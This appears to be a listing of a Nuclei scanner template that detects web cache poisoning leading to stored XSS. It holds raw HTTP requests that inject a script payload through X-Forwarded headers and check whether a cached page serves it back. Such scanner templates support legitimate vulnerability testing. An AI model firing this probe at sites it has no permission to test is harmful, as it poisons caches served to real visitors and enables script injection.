Cache Poisoning - Stored XSS

ID: cache-poisoning-xss

Severity: high

Author: melbadry9,xelkomy,akincibor

Tags: cache,generic,xss

Description

Cache Poisoning leads to Stored XSS.

YAML Source

id: cache-poisoning-xss

info:
  name: Cache Poisoning - Stored XSS
  author: melbadry9,xelkomy,akincibor
  severity: high
  description: Cache Poisoning leads to Stored XSS.
  reference:
    - https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
    - https://portswigger.net/research/practical-web-cache-poisoning
    - https://portswigger.net/web-security/web-cache-poisoning
  metadata:
    max-request: 2
  tags: cache,generic,xss
variables:
  cache_key: "{{to_lower(rand_base(6))}}"
  cache_header: "{{to_lower(rand_base(6))}}"
  xss_payload: '"></script><script>alert(document.domain);</script>'

http:
  - raw:
      - |
        GET /?{{cache_key}}=1 HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Prefix: {{cache_header}}.xfp{{xss_payload}}
        X-Forwarded-Host: {{cache_header}}.xfh{{xss_payload}}
        X-Forwarded-For: {{cache_header}}.xff{{xss_payload}}
      - |
        GET /?{{cache_key}}=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body_2, cache_header)
          - contains(body_2, xss_payload)
        condition: and
# digest: 490a00463044022064537a8b328d0bfa78c7ea621fc7ee914de3b3ce51ba7f4041e5127a748f78910220455d06d1cd04523e367f623bf39902232b90f3f6b426030a56ca6eca4f79a6fd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/generic/cache-poisoning-xss.yaml"

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